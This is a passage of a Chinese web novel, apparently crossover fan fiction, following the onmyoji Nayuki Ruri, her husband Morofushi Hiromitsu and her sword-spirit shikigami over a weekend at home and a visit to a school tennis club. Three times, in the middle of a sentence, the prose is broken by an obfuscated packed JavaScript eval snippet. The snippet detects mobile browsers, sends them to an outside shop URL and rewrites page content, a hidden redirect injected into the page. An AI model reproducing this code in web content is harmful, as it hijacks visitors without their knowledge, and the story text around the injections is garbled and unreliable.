“这样没问题吗?”想到被喝掉的那么多酒,虽然几人看着只是有些微醺的样子,但名幸琉璃还是有些不放心。 “没关系,大家的酒量都挺不错的。”而且看他们现在的样子,等会萩原说不定还会提议去唱KTV之类的。 虽然这么说,诸伏景光还是目送着几人走远了才将门关上。 这是警校连着一个月的封闭训练后的第一个假期,也就是说明天和后天都能待在家里。 “要出去玩吗?”诸伏景光询问道。 “约会邀请吗?”名幸琉璃点了点下巴,“虽然很吸引人,不过这两天太忙了,难得的假期果然还是想待在家里。” “这样,一起看之前买的电影碟片也不错,不过,是新学期的课程比较吃力吗?” 名幸琉璃和诸伏景光一样都是东大的学生,虽然所就读的地质专业并非热门专业,但平时的学业任务也不算太轻松。 其实当初报考这个专业除了兴趣原因外,还有就是这个专业需要出野外考察学习,比较好掩饰她因为一些妖怪相关的事务往山里跑的情况。 不过,她说的忙碌可不是因为学校的课程:“虽然这学期的课程比大一大二时候专业性要更高一点,不过对我来讲完全不是问题哦。” 事实也确实如此,虽然要比大一大二那会一半都是大学英语、心理健康这种水课多花一点心力,但这些专业课对于名幸琉璃来讲完全不成问题。 加上为了避免出现特殊情况脱不开身,大学开学后她也没有报名任何社团部门,又因为家离学校不远办理了走读。 除了上课的时候闪现,已经上课两年了,名幸琉璃甚至连班上有的同学的名字和样子都对不上号。 而她之所以这两天比较忙碌,也可以说是跟她前几天心血来潮找的那份家教工作有关。 “是家教工作啦,因为看到年级群里有很多人在出家教工作有些好奇,所以也接了一份,那孩子的基础有些薄弱。” 几天那只差点砸中幸村君的妖怪名为天狗砾,能力是规则型的,人类一旦被砸中就会生病。 被一般的天狗砾只会感冒发烧上一两天,但那只天狗砾也许是真的和天狗接触过,或者天生天赋好,被它砸中后虽然不会马上看出什么,但潜伏上几个月后绝对会引发大病。 幸村君当时虽然被她拉了一把没被砸到,但受到妖怪气场的影响,加上可能本身也有些灵力的天赋,突然能看到妖怪了。 虽然检查过后发现只是短期,但比起他们这些自小就能看到妖怪而对此比较有经验的人,哪怕幸村君性格偏成熟,名幸琉璃也有些担心,毕竟并非所有妖怪都是好说话或者无害的。 妖怪的思维方式虽然比较单纯,但也经常会显得无厘头,更别提就算是有经验的人也不乏会将某些妖怪当成人类去搭话。 总之,名幸琉璃这两天一直在忙着制作适用于幸村君的,能够让妖怪下意识忽略他的护身符。 这种护身符她之前也做过,是给同样能看到妖怪的弟弟贵志特别准备的,但每个人体质不同,因此还有不少地方需要调整。 至于那个导致了这一切的妖怪,因为知道自己差点犯了大错,那家伙倒也老实。 它自称因为喜欢旅游游走在霓虹各地,当时是因为在屋顶上看月亮的时候太过沉迷而一不小心脚滑掉了下来。 还说为了赔罪愿意把自己积攒下来的财富全部赔给幸村君,看那样子不知道使用过多少次这种处理方式了。 而且,就算幸村君真的愿意接受这种赔偿,以它这不是第一次的表现,名幸琉璃也十分怀疑这只妖怪所说的全部财富究竟是多少。 在询问过意见之后,名幸琉璃又花了一点时间用秘法替那只天狗砾削弱了妖力,虽然砸到之后还会生病,但至少不会像原来那么严重了。 这样一番下来,那只天狗砾又哭诉着表示自己愿意跟在她身边以工抵债。 看样子这种体质真的是很困扰它啊…… 当然,名幸琉璃最后还是婉拒了,就算需要帮忙,她身边已经有不少式神了。 即使不是式神,平时交好的妖怪友人,依附于名幸家而同样被归入名幸一门的一些小家族和散人阴阳师等,作为名幸家的当家,她可是完全不缺可以使唤的人手。 更何况这块小石头能因此不让更多人受到影响而导致生病,对她来讲就已经是一种报酬了。 想起那块小石头在她面前情绪丰沛地一把鼻涕一把泪的画面,名幸琉璃眼神不免有些微妙。 明明听他自己的描述,也是年纪不小的妖怪了…… 短暂的沉思结合她刚才那句话,诸伏景光便以为是那位学生的成绩过于糟糕得连名幸琉璃都难以下手起来了:“我记得我读书的时候有整理笔记的习惯,现在应该都还有保存,那孩子说不定能用到。” 虽然切原君对她的补习内容消化得好像还可以,但妖怪的事情不能说,又不想让hiro觉得她是个应付不来学校课程的学渣。 所以,果咩,切原君。 名幸琉璃在心里对切原赤也说了声抱歉,然后抱住诸伏景光的腰,借力踮脚在他嘴唇上贴了一下: “果然还是hiro最好了。” 不过很可惜的是,也许是因为习惯了名幸琉璃的直球,诸伏景光只是略微停顿了一下便回抱住名幸琉璃加深了这个吻。 比起刚交往时候她主动牵一下手就会害羞,现在的hiro已经从被动防守进化到了主动进攻,这让名幸琉璃一度可惜于那个逝去的纯情的hiro。 不过,肉食系的hiro也别有一番风味啦,名幸琉璃有些分心的想,被诸伏景光惩罚性地轻轻咬了下嘴唇。 * 而在诸伏景光和名幸琉璃进行亲热的夫妻独处时光时,四位式神正在书房的箱庭屋中。 所谓箱庭屋,是指在狭小盒子里的庭院,神明路过时会在里面借住。 名幸琉璃的这个箱庭屋自然不是那种有着严格规格要求,用以接待神明的箱庭屋,而是她照着家里留下来的书籍资料自己改造的,同样可以用于居住的箱庭屋。 盒子里的庭院是古制的,虽然最开始制作的时候年纪尚小,但后续的几年也陆陆续续地进行了改装和翻新,使用了不少珍惜的料材,在整体的格局上其实也是参照了名幸家的老宅。 然而其中最引人注意的还是庭院里那一颗巨大的栗子树,也是栗姬的本体。 这间箱庭屋最初会被制作出来其实也与栗姬有关。 年幼的名幸琉璃因为失去亲人又来到陌生的地方,孤独感和恐慌感使得她喜欢在放学后一个人跑到山上。 有时是在写信时一边念叨一边写下文字,有时也会讲一些信里没有的,哀伤难过的事情,有时只是就那样坐着,然后突然发出两句感慨,又或者是拿着小号坐在栗子树下让音乐声在山上回荡。 而作为栗子花的妖精,在名幸琉璃还不知道的时候栗姬就每天都坐在栗子树的枝丫上听她絮叨。 茂密的叶子遮掩了她的存在,加上栗姬本就是喜欢安静地一个人待在角落。 只是有时候,再享受安静的妖怪也会久违地感到一丝孤独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013258|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当时的栗姬只是当一个无人知道的倾听者,不去回应,只是旁观,却也越来越习惯这样的日常。 然后有一天,原本每天都会过来的小丫头连着两三天都没有过来,也就是那时,栗姬突然对那个有些软糯的声音的主人产生了好奇。 虽然她喜欢安静地待着,之前也就这样一直一直一个人坐在这里,但等到那个女孩没有再过来,回到了往常的日子的时候,原本只是在偶尔会突然冒出来的孤寂感竟更深了起来。 于是等那个女孩再次来到栗子树下时,她主动从树枝上跳了下来:“这么孤独的话,让我成为你的式神吧。” 那时候年纪尚小的名幸琉璃其实对于式神的概念还有些迷糊,只知道自己多了新的家人。 为了安顿不能离开本体太远的栗姬,于是她按着书上的记录自己制作了最初的,这也就是最初箱庭屋的由来。 后来在一次突然奇想将灵力输入父亲送给自己护身刀五虎退中时,她又收获了第二个家人,已经过世的父亲留给她的家人。 现在,经过多次改造的箱庭屋再一次迎来了它的新住户,鹤丸国永和压切长谷部。 虽然有些可惜不能给初次见面的诸伏景光一个有趣的惊吓,但在箱庭屋里喝酒吃饭也是不错的体验。 鹤丸国永看着外面栗子树下的小秋千好奇道:“说起来,那个小秋千是阿路基弄的吗?” 现在五虎退的五只小老虎正围着那颗大栗子树玩耍,其中一只正跳到了秋千上,翘着尾巴好不耀武扬威。 提到那个秋千,栗姬也想起了那些往事,语气中带着点隐秘的骄傲:“嗯,主人小时候很喜欢那个秋千,不过比起那个她更喜欢在树下吹小号和看书,秋千有时候有点晃。” “不愧是阿路基,不管哪个方面都很优秀。”主控长谷部发出大力赞叹,可惜名幸琉璃现在人不在这里。 “小号的话,是之前在书房看到的那个金色的管子吗?”虽然跟过不少任主人,但鹤丸国永上一次出来的时候这些东西还没流传进来。 名幸琉璃在这点上十分开明,允许几位式神自己到外面逛,只要没有工作的时候留下一位式神在她身边,有工作的时候则至少要两位。 因此,尤其是鹤丸国永,本就好奇心比较重,又距离上次被召唤出来已经过了几百年,这段时间已经将周边地区逛了个遍。 只是因为小号毕竟不是什么日常的东西,才会疏于了解。 “是一种乐器,琉璃大人的母亲莉香夫人以前是很有名的音乐家,因为这个,琉璃大人这些年一直都没有放弃小号,高中还去了莉香夫人以前就读的北宇治中学。” 五虎退小声的解释道,“虽然没有考音乐学校,也没有再参加吹奏部,但是琉璃大人经常到这里来练习,这两天还是太忙了才没有吹。” “阿路基所吹奏出来的音乐一定是最美妙的!”同样不认识小号,也没听过名幸琉璃吹奏的压切长谷部如此感慨。 栗姬没有说话,但眼底流露出的意思分明是:‘这还用你说。’ 听了五虎退的介绍,还没接触过吹奏乐器的鹤丸国永有些蠢蠢欲动起来:“不知道能不能吹出鹤的声音。” 显然,他对这种新奇的乐器升起了兴趣。 即使印象里他最早所处的时空是在2205年,科技应该比现在还要先进不少,但其实他的脑中只有关于时之政府和时空溯行军的介绍。 更别提就算真的介绍了未来的新事物,亲眼看到亲手使用也是不一样的体验。 结果不出意料被压切长谷部反对道:“那也要先得到阿路基的同意!” 8. 第 8 章 本就提前说了接下来两天想待在家里,加上晚上又闹得比较晚,名幸琉璃一觉睡醒的时候已经挺晚了。 睁眼往旁边看的时候,因为窗帘遮挡而显得昏暗的卧室里已经只剩她一个了。 脑袋还有些昏沉地换好衣服又洗漱完推开门,一下就被阳台处某个正在浇花的身影吸引住了视线。 他今天换了一身更休闲的装扮,外搭一件深色的开衫,袖子处被微微挽起,听到动静转过头来露出微笑: “饭温在厨房里了,今天有你喜欢的甜椒虾仁,冰箱里还有一些布丁可以晚点吃。” 名幸琉璃对于hiro的手艺自然是十分相信的,她拉长了语音道:“嗨——” 又在进入厨房后突然探出头来对他眨了眨眼:“hiro今天这身很帅气哦。” 说起来,明明拥有一张漂亮的脸蛋,hiro对于服装穿搭上却完全没有上心,衣柜里的衣服也基本都是她挑的。 一想到曾经在hiro衣柜里看到过的整整一排差不多款式的衣服,名幸琉璃就忍不住微皱眉。 不是说不好看,但在她看来,这绝对是对hiro颜值的极大浪费! 因此,即使是在还没有交往前,名幸琉璃也经常在逛街的时候顺便给诸伏景光寄上几件她觉得合适的衣服,还强烈要求他穿上后拍照寄给她。 绝不允许出现在衣柜深处吃灰的情况! 听到名幸琉璃的夸赞,诸伏景光露出无奈地笑容,显然对此已经很习惯了,在又交代了几句后,才继续浇起了花。 不知道琉璃酱是不是用了什么特制的肥料,家里的这些盆栽养得比花店里还要鲜活不少。 即使作为婚房这里才入住没几个月,阳台也已经布满了鲜亮的色彩,不少是把以前种的盆栽搬了过来,还有的则是新买的花种,只长出一点小苗,但也肉眼可见得能看出其中的健康。 除了一些花店里常见的品种,不少是琉璃酱从野外带回来的,以及自己培育的。 这些都还是无害的,有些难以解释来源花卉则被名幸琉璃种在了诸伏景光看不见的箱庭屋中,那里除了最显眼的栗姬的本体,剩下的地方都种上了各色的花朵。 甚至因为箱庭屋里的环境是受名幸琉璃自身灵力控制的,有时候还能见到不少反季的鲜花,可以说是栗姬放心的鲜花饼材料来源之一。 阳台的花很多,就算是单浇水也要花上不少时间,诸伏景光浇了一半,突然听到后面传来一阵咳嗽声,忙关切地转身,就看到名幸琉璃拍了怕胸口同时对他摆了摆手。 “汤喝得有点急,不小心呛到了,hiro继续浇花吧。” 诸伏景光无奈地再次转身,心里却在猜测着,他们从小认识,对对方的一些小习惯小动作都早有了解,这种语气,别人或许看不出来,他一听就能感受到里面的心虚感。 也不知道琉璃酱知不知道,她现在的表情和以前每次突然间说有点急事要离开的时候十分相似。 见hiro没再注意这边,名幸琉璃松了口气,又浅笑着挑眉看向那边书房的门口。 在诸伏景光看不到的视角之中,书房那半开的门边,鹤丸国永脸上摸着后脑勺发出爽朗的笑声:“人生需要惊吓嘛。” 显然,这位就是在味增汤里放了大量盐巴的罪魁祸首。 相处了这么一段时间,名幸琉璃对于新来的两把刀的性格也算是了解,像是偷偷在味增汤里放大量盐巴这种事,绝对是鹤丸做的无疑了。 毕竟刚来那段时间鹤丸就经常喜欢在某个地方突然冒出来吓她一跳,最近因为她对这种惊吓完全不起反应了才放弃了这项活动,没想到今天突然又给了她一个惊吓。 也对,如果不突然哪还算得上惊吓。 压切长谷部捏着拳头:“鹤丸你这家伙!”然后在名幸琉璃开口前便体贴地换了一碗味增汤。 嗯……,还好鹤丸没有在整锅汤里放大量盐巴,不然她就该纠结要怎么自然地和hiro说她今天胃口大开,不小心把所有味增汤喝了。 见名幸琉璃不打算多追究,鹤丸国永又跑到了阳台那边看着诸伏景光给花草浇水,很有活力道:“不管看多少次都觉得这个阳台果然很漂亮啊。” 栗姬正在书房之中,平时诸伏景光不在的时候她也喜欢在客厅找个能看到名幸琉璃的角落翻翻杂志。 除了喜欢烹饪外,她对人类的读物也很感兴趣。 不过由于诸伏景光现在在家,因为不能让他看到没有风的室内书页凭空翻动,此时便躲到书房里面去了。 和她一起的还有拿着梳子给小老虎一个一个梳毛并用丝带扎上蝴蝶结装饰的五虎退。 两位式神,一人占据书房的一角,显得十分和谐。 只是不知道为什么,原本在普通人看来应该是飘在空中的丝带被扎成蝴蝶结戴在小老虎身上后就和它们一起得到了隐身的buff,莫名有种蝴蝶结也是一部分的感觉。 明明这些丝带都是名幸琉璃从商场里普通的精品店里挑选的。 吃过早午饭,考虑到自己这两天还想过个完整的二人世界,名幸琉璃找机会给几位式神传达了给他们放两天假的信息,只要不闹出被人找上门来的大动静都没有问题。 虽然长谷部更想在阿路基身边侍奉,不过既然是阿路基的命令就没办法了,临出门他还信誓旦旦地表示有他在绝对不会出问题。 当然,在他眼中最容易出问题其实也就是鹤丸国永,尤其是这家伙刚趁他没注意往阿路基的味增汤里加了不少作料,因此才刚走出门便依照自己的保证,眼睛直直地盯着鹤丸国永。 和各位式神告别,恰巧此时诸伏景光也推开书房的门走了进来。 昨天琉璃酱说这两天就想在家里看影片,他记得之前买的碟片好像是放在书房里柜子旁边的那个箱子里…… “是准备做会功课吗?” 虽然书房是共用的,不过因为名幸琉璃还是个学生,加上她平时为了方便也喜欢将一些看着不那么出格有点像小说的妖怪资料直接放在这里,所以书房里她的东西会更多一点。 甚至现在书桌上也还放着一本名幸琉璃的教科书,那是在诸伏景光回来前就放在这的,封面上写着《结晶矿物与岩石鉴定》,也难怪hiro以为她是打算做功课了。 说实话,名幸琉璃的专业知识学得还是不错的,毫不谦虚地说单看书面成绩她可是专业第一,即使平时不爱参加那些杂七杂八加各种分的活动也拿到过奖学金。 托这个专业的福,她接到一些需要去山里的委托后如果还有时间还会拿出地质锤采集几块石头回来。 书房里甚至有一个角落安了专门放她觉得有趣的石头的架子。 像是方解石、云母之类比较典型的矿石也都在其中占有一席之地。 但成绩不错不代表喜欢做作业,尤其是在长谷部来了之后,带着几个式神去学校听了两天的课后,长谷部成功解锁了帮忙做功课这个技能。 准确率虽然不算特别高,但也算不错了,何况在看了她之前的课本后,长谷部的作业正确率明显有在提高。 因此这段时间她的作业基本上都被长谷部解决了。 乍一听到hiro这句询问的话,想到她的做作业小能手刚被她放假派出去玩了,名幸琉璃的表情瞬间灰败了起来:“完全不想自己写作业啊。” 尤其她记得因为周一早上就有这门课,老师定的作业提交时间就在明天下午。 虽然很可惜,但专业不同诸伏景光也帮不上什么忙:“晚一点再做吧,昨天不是说想看电影吗?” 比起写作业,果然还是看电影更吸引人,名幸琉璃几乎没有一点犹豫就同意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013259|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了诸伏景光的建议:“我想看上个月我们一起去买的那张。” 他们是在春假期间办的婚礼,婚房也是在那时候买的,刚搬来的那天晚上吃过晚饭便借着散步之余在周围逛了一会,还买了不少东西,那张碟片也是其中之一。 名幸琉璃还记得那是一部关于校园爱情的电影,刚好她和hiro也算是从校园到婚纱,这让她来了点兴趣。 因为买来不算久,诸伏景光没多翻就找到了,连带着把放在旁边的游戏也拿了出来,这个刚好是双人游戏。 电影在晚上看氛围更好,在那之前他们还能打会游戏。 “刚好家里还有果汁,早上准备了布丁放在冰箱,等会可以边看电影边吃。” 将为了翻找翻出来的其他碟片放回去,诸伏景光又注意到下面有个盒子里装了几只草蟋蟀:“这是?” “是势子们送的礼物哦。”名幸琉璃语调微微上扬。 因为琉璃酱从小就对妖怪传说什么的很感兴趣,诸伏景光对这方便还算了解,他记得那好像是属于山童的一种妖怪,据说一般只有两三岁孩子那么大,喜欢恶作剧。 不过,虽然琉璃酱还有以前在长野的好朋友小操都比较相信这个,诸伏景光本人其实是个坚定的唯物主义者。 即使察觉到琉璃酱有自己的小秘密,也完全没有往非科学的方面去想过。 他脑海里自动将这句话换算成:几个大约两三岁的孩子送的礼物,应该是在山里遇到的。 两三岁的孩子一般不容易被单独放出去玩,尤其还是在山里,诸伏景光猜测他们的家长应该就在附近,或者家长是附近的居民,又有大一点的孩子带着。 便笑着道:“是一群很可爱的孩子吧。” 名幸琉璃点头表示认同,没再多解释:“因为现在是梅雨季,那些孩子常走的路上有不少积水,我找了木板帮忙铺了一下,结果第二天就收到了礼物。” “琉璃还是一如既往地受小朋友欢迎啊。”诸伏景光感慨道。 琉璃很擅长讲故事,就算是那种最闹腾的孩子在听到那些和妖怪相关的有趣的故事后都会安静下来,央求着想再听一个,再加上本身亲和的气质,在孩子们中简直无往不利。 他记得自己小时候也很喜欢听琉璃酱讲故事,那些有意思的妖怪,还有包含在其中的细腻的情感,听起来就像是琉璃酱的亲身经历一样。 每次转述给哥哥和爸爸妈妈的时候他们也不会纠正,甚至还会附和地问一些细节,直到他长大后确定世界是唯物科学的。 “hiro不也是,一看就是那种去给孩子开家长会会被别的小朋友羡慕的温柔爸爸。” 诸伏景光原本平静温和的表情在听到这句话后瞬间染上了红晕,不自然地别过头,音量倒是没有变小:“为……为什么会突然说到这个。” 名幸琉璃微微拉长语调,就像是在暗示些什么:“诶……,要说为什么的话,我们已经是夫妻了,会谈论这种话题才很正常吧。” 琉璃总是很直球,尤其是在确定关系之后,明明不管是交往还是结婚的经历的时间都是一样的,但不知道为什么就有一种很熟练的感觉。 不过想到未来会有一个很像他们的孩子,诸伏景光不可否认他是期待的。 然后在他感觉脸上的热度差不多消退了转回头的时候,就看到原本站在书桌边的琉璃酱放大的脸,像是有些跃跃欲试地想戳一戳。 诸伏景光有些无奈,就是因为这样,以前才会每次都产生一种琉璃酱其实只是想逗一逗他的感觉啊。 见被他发现了,名幸琉璃干脆光明正大地戳了上来:“没办法,hiro的脸颊手感很好嘛。” 尤其是害羞的时候,真的很让人有上手的欲望,“而且,我可不是在开玩笑哦。” “……,那我也会努力的。” 9. 第 9 章 被放了两天假,走出家门的四位式神却还没有决定好要去的地方。 距离上一次被召唤出来已经有五百多年,鹤丸国永对于现代的很多东西都十分好奇,压切长谷部则因为说好了要看住对方,决定和鹤丸一起。 栗姬对这些都无所谓,她觉得就算随便找个地方待上两天也没什么,五虎退倒是对出去玩还挺期盼,不过地点其实都还好。 大家都一起的话,那他也跟着一起好了。 所以最后要先去哪里还是由鹤丸国永决定的:“对了,之前栗姬不是说阿路基的学生有一个同学现在看得见妖怪了,我们去给他一个惊吓吧。” 栗姬语气平淡地纠正:“不是同学是社团部长,而且只能看见部分妖怪,还只是暂时的。” “啊,那个不是主要问题啦,我记得是一个叫立海大的学校,听描述有点像以前的私塾,真是好奇啊。” 而且从他这段时间的观察来看,现在好像每个人都可以学习。 以前,接受教育这种事可只是有钱人的权利。 阿路基所在的大学已经去看过了,不如趁今天去看看所谓中学又是什么样的。 神奈川和东京的距离对他们来讲不是什么问题,不过等已经到达立海大附中后,他们才发现这里似乎有些过于安静了。 “阿拉,是在上课吗?虽然也去过阿路基的学校,不过中学和大学应该有很多不同吧。”占着现在没人能看到他,鹤丸国永纵身一跃跳上了立海大的围墙。 因为跟着名幸琉璃上过学,还是五虎退很快反应过来:“对了,今天是土曜日,学生应该都放假了。” “但是那边好像有声音传过来。”压切长谷部指了一个方向,刀剑付丧神的感官都很灵敏,即使有一定的距离也很容易捕捉到动静。 他刚说完这句话,鹤丸国永便顺着围墙往那边跃了过去:“呦西,那就让鹤来看看有什么有趣的事情吧。” 网球场这边,作为部长的幸村精市正在带着部员进行基础训练,看到在围墙上如履平地的白色付丧神后不由得脚步微顿又很快恢复如常。 明明离发生那件事才过去了短短几天,幸村精市却觉得自己的经历十分丰富。 如果不是自己亲眼看到,谁能想到这样平常的校园里其实存在着那么多和他们一起,甚至擦肩而过的存在呢。 不过看起来不少妖怪好像都对网球挺感兴趣的,他经常能看到有妖怪在围墙上或者场地内围观网球赛。 尤其是真田和仁王比赛的时候,好几个妖怪会相约一起过来看比赛,然后在看到真田和仁王使出绝技的时候发出奇怪的惊呼。 幸村精市有两次甚至看到有妖怪在仁王使出仁王幻影时凑上去想看个清楚,距离可以算是快要贴面了。 等仁王结束比赛后告诉他这件事,果然看到了有趣的表情。 不过到底是才能看到妖怪不到几天,幸村精市在走了一段距离后又忍不住往那边看了一眼,然后发现原本在围墙上的妖怪已经跳了下来,身后还跟着其他的妖怪。 这次他的脚步彻底停下来,因为那群妖怪中有一个熟‘人’——他先前看到的跟在名幸小姐身后的栗姬小姐。 栗姬小姐和名幸小姐应该是类似于式神和阴阳师的关系吧。 不过比起曾经听到过的阴阳师和式神之前的相处,栗姬小姐和名幸小姐的相处好像要更亲近平等不少。 在幸村精市旁边的是立海大的军师柳莲二。 因为那天切原赤也去补习的时候立海大的正选们都去了,所以大家现在都知道幸村的眼睛目前能够看到一些妖怪。 除了对妖怪和名幸小姐有些好奇外,在群聊上问了名幸小姐不少问题,大家的相处倒是和平时没有太大差别。 切原赤也还有些懊悔自己错失了能看到妖怪成为立海大独一位的良机。 柳生比吕士其实还没正式加入网球部,那天是被仁王雅治拉着一起过去看热闹的,回来之后便忍不住避开幸村精市,颇有种掩耳盗铃的感觉。 但后面听说名幸桑采取了一些保护手段让妖怪难以近幸村精市的身后,又频繁地往网球部这边跑了。 托这个的福,加上之前被仁王雅治磨了大半个学期,他现在也正式从高尔夫球部转到了网球部了。 时刻关注着这边的柳生比吕士在发现幸村的异样后身体微僵,但好在因为次数多了,没有彻底失去知觉,但也十分明显地往幸村看着的方向后退了好大一段距离。 就站在幸村精市旁边的柳莲二询问道:“怎么了幸村?” 随即在心里快速得出一串数据:幸村故意吓唬柳生的概率是24.15%,真的看到妖怪的概率是68.43%,其中遇到的是认识的妖怪,尤其是栗姬小姐的概率是57.93% 因此很快朝着幸村精市所对着的方向道:“好久不见,栗姬桑。” 栗姬没有询问对方是怎么知道她过来了,第一次见面时柳莲二的那一串数据着实给她留下了挺深的印象。 也因为这个,鹤丸国永还将来打招呼的柳莲二认成了幸村精市。 每日训练是无论如何都不能少的,因此幸村精市只是朝那边点了点头,便继续带着大家完成今天要完成的训练。 刚好网球场旁边有位置,栗姬五虎退和压切长谷部便找了个空位坐下,至于鹤丸国永,他在看了一会后混到了那边跑步的队伍中去。 “跑步比赛吗,说起来之前有在电视里面看到运动会之类的活动,不过我们家人有点少,感觉不太办得起来,哈哈哈……” 也幸好今天网球部的练习不只是基础的训练还有安排练习赛。 在观看了几场练习赛后,几位式神都露出了不同程度的惊讶表情。 “真有意思,尤其是那个白色小辫子的男人,不知道为什么有种和他会很有共同话题的感觉?变成别人,真是实用的能力,用得好的话一定能吓人一跳吧。” “明明只是黄绿色的小球,居然能爆发出这种程度的力量,真是神奇啊。” “斯……斯国一!” “如果能掌握这种力量的话,一定能更好地被阿路基挥动吧!” 就这样,在名幸琉璃还不知道的时候,她的式神们在见识到了玄幻网球后都对这项运动产生了好奇,甚至想在箱庭屋的后院加上一个网球场。 而直到社团活动结束,几位式神在非正选们离开后现出身形,大家一起约着去吃了顿烤肉自助,鹤丸国永才解开了对于柳莲二不是幸村精市这一误会。 但也因此对柳莲二的数据网球产生了极大的兴趣。 …… 而名幸琉璃和诸伏景光现在正窝在家里的沙发上看电影。 为了营造氛围,窗帘被提前拉上,布丁和果汁和其他零食也提前放在了茶几上等待随时取用。 名幸琉璃抱着一个抱枕,率先坐到沙发上,虽然之前就很期待,但因为各种原因,她也还没看过这部电影。 作为校园青春题材,电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013260|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影的开端也是从学校的场景开始的,走廊的拐角处,因为走得太过着急两人不小心相撞在一起。 “说起来,好像很多电影都喜欢用这种巧合的相撞作为认识的契机呢。” 刚开始的时候还有兴致吐槽上一句,随着剧情的进展,名幸琉璃逐渐投入到其中,连一开始记着要吃的零食都没注意上。 当然,坐着的姿势也越来越放松,从刚开始的并排坐转变为后面的直接靠在诸伏景光的肩膀上了。 直到她看到因为情人节的到来,女主准备在送巧克力的时候表明心意的这段剧情。 倒不是这剧情有什么问题,只是她突然间有些恍然,原来巧克力是这么做的。 她以前都是直接把超市买回来的巧克力融掉,然后用模具定好型再送出去,这种的话,hiro应该吃得出来吧。 想到这,名幸琉璃抬头看了一眼诸伏景光,虽然有在认真看电影,但在她看过来的时候还是立即投来询问的眼神。 于是她摇了摇头:“唔……,突然好想吃巧克力。” “可可粉、奶油和牛奶家里都还有,现在做的话明天应该就能吃了。” “听起来好麻烦,果然还是超市里的更方便。” “诶,但是不少甜点都需要这么久的制作时间。”诸伏景光失笑,“所以琉璃你还要吃吗?” “还是等栗姬过来的时候让她帮忙做吧。”虽然这么说,剩下的剧情她却不是那么想看了。 相较于电影里男女主间的互动情节,名幸琉璃现在的注意力完全被转移了,因为她发现在这个光线下,从这个角度看hiro有种和其他时候不一样的帅气的感觉。 将姿势转变为跪坐,名幸琉璃又往前凑了凑,茶色的杏眼和蓝色的凤眼触及到一起,她忍不住伸手碰了碰:“果然,每次都觉得hiro的睫毛真的很长呢。” 其实要说hiro身上哪里最吸引她的话,那毫无疑问就是眼睛吧,无论是睫毛还是瞳色亦或是眼型都完美戳中了她的审美点。 更别提每次都能在眼底看到的让她沉溺于其中的温柔和爱意。 这是个极近的距离,使名幸琉璃能够清楚地看到诸伏景光纤长的眼睫毛,也使得诸伏景光能够在这种微弱的光线下看清那茶色眼眸里他的倒影。 这种眼里只有他一个人的感觉…… 手揽住纤细的腰肢让跪坐在沙发上的姿势变为侧坐在腿上,原本就极近的距离再次缩减,鼻尖的呼吸交织在一起,唇齿的交依让空气的温度也好似升高了不少。 衣料摩挲的声音和皮肤间触碰的声音交杂在一起,又在片刻后诸伏景光稍稍松开一些,沙哑的语气中带着点笑意:“还没有学会换气吗?” 原本就偏软的京都腔此时更带上了点黏糯感:“但是这个好难啊……,明明只要hiro你在需要换气前松开不就好了。” 温热的吻让两人之间的温度更升高了一些。 名幸琉璃抱住诸伏景光的腰将自己埋了进去,变得有些闷的声音传出:“内,hiro你教我做巧克力吧,感觉这个好像比其他的要简单一些。” 至少她刚刚看那个女主角做的时候没看到烤箱,这样也就不容易出现变成焦炭的情况吧。 诸伏景光的声音此时显得有些沙哑,被上衣摆半遮住的手掌正摩挲着名幸琉璃的后腰:“明天半天的时间不知道会不会有些不够。” “……,那就下次再一起做。”喘息声使得名幸琉璃这句话有些断续。 10. 第 10 章 天已经完全黑下来了。 名幸琉璃走在米花町的马路上,她今天是接到了关于解咒的委托。 委托的难度不算太大,但因为刚做完一单恰好又接到了在附近的另一单差不多的委托,所以忙到了现在。 本来完成之后直接回家就好,但想到冰箱里的食材好像没剩多少,刚好附近有一家超市,名幸琉璃便又拐了进去。 而大概今天的运气实在是不好,她刚刚挑好要买的东西正要去结账,门口就一下冲进来几个蒙脸持木仓的男人。 好在她现在所在的角落并不算引人注意,趁着其他人的注意力集中在歹徒身上,名幸琉璃借着袖子的遮掩握住短刀的刀柄。 于此同时,鹤丸国永和压切长谷部也在后面显出身形,避免等会去警视厅不好做笔录。 能力是治愈的栗姬站在名幸琉璃身后作为后卫,同时也注意着是否有动手的空缺。 虽然这次进来的歹徒人数有点多,木仓也是比较棘手的武器,还要顾忌不能伤到普通人,但阴阳师的身体素质普遍比一般人要高,更别提作为非人类的式神们。 * 作为离警校最近的超市,这家超市一向受警校生们的喜爱,尤其是一些不太严格遵守规章制度的警校生的喜爱。 就算是在宵禁时期,如果有什么急需要用的东西,只需要翻过一面墙再走上几分钟就可以拿到。 